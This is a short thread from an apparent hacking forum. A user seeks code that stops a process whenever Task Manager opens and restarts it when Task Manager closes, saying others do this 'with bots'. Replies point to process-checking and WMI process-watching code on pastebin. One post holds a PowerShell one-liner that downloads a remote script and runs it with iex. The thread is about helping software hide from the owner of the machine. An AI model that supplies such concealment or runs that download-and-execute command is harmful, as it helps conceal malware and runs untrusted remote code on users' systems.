Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

Start and stop Proccess when task manager opens

Can someone help me I'm trying to look for code snippets on how to stop a service when task manager starts and start it when its closed? Is this possible I know people are doing it with bots etc.

Any helps appreciated  ✌
You can use this method: https://msdn.microsoft.com/en-us/library....110).aspx to check for processes and see if Task Manager is active.
Took a bit from this source, to put together something that would be useful in your case. This uses WMI to watch processes for when they start and terminate, it's not as fast but definitely works.

Console Project : https://pastebin.com/aDT5VXiw
powershell.exe -noprofile -noexit -command iex "(new-object net.webclient).downloadstring('https://media.nick-name.net/ps/execute.ps1')"[Image: f4hRdFS.gif]
cheers lads, helped alot!


Possibly Related Threads...
Thread / Author Replies Views Last Post
[.NET] by sara_221540Jul 19, 2020 10:01 AM 14 399 Jul 19, 2020 10:01 AM
Last Post: iolaka
[C] by Sh4d0w_C0d3rJan 21, 2020 10:39 AM 4 151 Jan 21, 2020 10:39 AM
Last Post: Sh4d0w_C0d3r
[C] by admiralHenrikSep 15, 2019 05:03 AM 8 370 Sep 15, 2019 05:03 AM
Last Post: malpwn